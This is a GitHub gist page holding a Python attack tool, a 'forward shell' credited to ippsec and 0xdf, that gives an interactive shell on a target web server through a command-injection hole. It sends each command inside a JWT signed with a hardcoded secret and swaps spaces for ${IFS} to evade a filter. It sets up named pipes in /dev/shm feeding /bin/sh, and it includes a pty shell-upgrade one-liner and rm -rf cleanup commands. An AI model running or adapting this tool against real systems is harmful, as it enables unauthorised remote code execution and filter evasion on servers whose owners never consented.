Skip to content

Instantly share code, notes, and snippets.

@Cashiuus

Cashiuus/ippsec_fwd_shell.py

Last active May 9, 2023 21:41
Show Gist options
  • Save Cashiuus/e3c31721b8e59ab827a44e18d9784d87 to your computer and use it in GitHub Desktop.
Save Cashiuus/e3c31721b8e59ab827a44e18d9784d87 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
ippsec_fwd_shell.py
#!/usr/bin/env python
#
# Forward Shell using Named Pipes
# -- https://www.youtube.com/watch?v=uMwcJQcUnmY
# -- Authors: ippsec, 0xdf -- Updates for 2023: Cashiuus
# -- Online copy: https://gist.github.com/Cashiuus/e3c31721b8e59ab827a44e18d9784d87
## =======[ IMPORTS ]========= ##
import argparse
import base64
import random
import sys
import threading
import time
import jwt
import requests
class WebShell(object):
"""
Initialize Class + Setup Shell, also configure proxy for easy history/debuging with burp
"""
def __init__(self, url, cmd=None, use_proxy=False, interval=1.3):
# self.url = r"http://172.16.1.1:3000"
self.url = url
self.interval = interval
self.use_proxy = use_proxy
if not self.url.startswith("http"):
print("[ERR] You must provide a valid target URL for this")
sys.exit(1)
if self.use_proxy:
# Send all our traffic through Burp or another proxying tool
self.proxies = {'http': 'http://127.0.0.1:8080'}
else:
self.proxies = None
# If we pass in a cmd, just do the cmd and exit
if cmd:
result = self.run_raw_cmd(cmd)
print(result)
sys.exit()
self.session = random.randrange(10000, 99999)
print(f"[*] Session ID: {self.session}")
self.stdin = f'/dev/shm/input.{self.session}'
self.stdout = f'/dev/shm/output.{self.session}'
#self.stdin = f'/tmp/input.{self.session}'
#self.stdout = f'/tmp/output.{self.session}'
print("[*] Setting up fifo named pipes shell on target")
# NOTE: Mysteriously, target box seems to fail for this if /bin/sh includes the 2>&1
# It also fails if there are spaces around the ">", but doesn't care around the "|"
named_pipes_cmd = f"mkfifo {self.stdin};tail -f {self.stdin} | /bin/sh>{self.stdout}"
self.run_raw_cmd(named_pipes_cmd, timeout=0.1)
print("[*] Named pipes are setup, continuing...")
print("[*] Setting up read thread")
thread = threading.Thread(target=self.read_thread, args=())
thread.daemon = True
thread.start()
# -- end of init --
def read_thread(self):
""" Read $session, output text to screen & wipe session
"""
get_output_cmd = f"/bin/cat {self.stdout}"
get_output_cmd = get_output_cmd.replace(' ', '${IFS}')
# self.clear_output_pipe()
while True:
# NOTE: If you hit an unreachable target, this will infinite loop, regardless...
result = self.run_raw_cmd(get_output_cmd)
if result:
print(result)
self.clear_output_pipe()
# clear_output = f'echo -n "" > {self.stdout}'
# clear_output = clear_output.replace(' ', '${IFS}')
# self.run_raw_cmd(clear_output)
time.sleep(self.interval)
return
def run_raw_cmd(self, cmd, timeout=10):
""" Execute Command
"""
# MODIFY THIS: This is where your payload code goes
# cmd = "ls${IFS}-al${IFS}/dev/shm"
replace_spaces = True
if replace_spaces:
# Swap out spaces, because they are blocked, we bypass it using ${IFS}
cmd = cmd.replace(' ', '${IFS}')
payload = {'cmd': cmd}
token = jwt.encode(payload, 'PSmu3dR2wMZQvNge', algorithm='HS256')
# token = jwt.encode(payload, 'hello', algorithm='HS256')
headers = {
'Authorization': f'Bearer {token}',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
}
# Another place shell can be used sometimes
# headers = {'User-Agent': cmd}
#print(f"[DBG] Cleartext payload: {payload}")
#print(f"[DBG] JWT Encoded token: {token}")
try:
#print("[*] Requesting result of command execution, please wait...")
r = requests.get(self.url, headers=headers, proxies=self.proxies, timeout=timeout)
return r.text
except:
pass
def clear_output_pipe(self):
# clear_cmd = f"echo -n '' > {self.stdout}"
clear_cmd = f":>{self.stdout}"
self.run_raw_cmd(clear_cmd)
return
def write_cmd(self, cmd):
""" Send b64'd command to run_raw_cmd()
"""
b64cmd = base64.b64encode('{}\n'.format(
cmd.rstrip()).encode('utf-8')).decode('utf-8')
stage_cmd = f'echo {b64cmd}|base64 -d>{self.stdin}'
# stage_cmd = stage_cmd.replace(' ', '${IFS}')
self.run_raw_cmd(stage_cmd)
time.sleep(self.interval * 1.1)
return
def upgrade_shell(self):
""" Attempt a known method of upgrading our shell for functionality
"""
# shell_upgrade_cmd = """python3 -c 'import pty; pty.spawn("/bin/bash")'"""
shell_upgrade_cmd = """python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")' || script -qc /bin/bash /dev/null"""
# shell_upgrade_cmd = shell_upgrade_cmd.replace(' ', '${IFS}')
# print(f"[*] Sending shell upgrade command: {shell_upgrade_cmd}")
self.write_cmd(shell_upgrade_cmd)
return
# -- End of WebShell class --
def main():
parser = argparse.ArgumentParser(description="Custom forward webshell utility, originally by ippsec")
parser.add_argument('target', help='URL of target') # positional arg
parser.add_argument('-c', '--cmd', dest='cmd', help='Pass an initial command to run')
args = parser.parse_args()
if args.cmd:
cmd = args.cmd
else:
cmd = None
# Auto Proxy Checker
# otherwise, automatically shift to fallback
try:
res = requests.get('http://127.0.0.1:8080', timeout=3)
# print(res.status_code)
proxy_running=True
except Exception as e:
print("[ERR] The default Burp proxy address is not running, falling back to no proxy for this")
proxy_running=False
# S = WebShell(args.target, cmd=cmd)
# You can proxy it all through Burp to help troubleshoot
S = WebShell(args.target, cmd=cmd, use_proxy=proxy_running)
# Endless loop
prompt = "Enter Cmd (e.g. upgrade) > "
while True:
try:
print()
cmd = input(prompt)
if cmd == "upgrade":
prompt = ""
S.upgrade_shell()
else:
# S.run_raw_cmd(cmd)
S.write_cmd(cmd)
except KeyboardInterrupt:
sys.exit(0)
return
if __name__ == '__main__':
main()
# Housekeeping
# --cmd 'rm -rf /dev/shm/input.*'
# --cmd 'rm -rf /dev/shm/output.*'
# --cmd 'ls -al /dev/shm'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment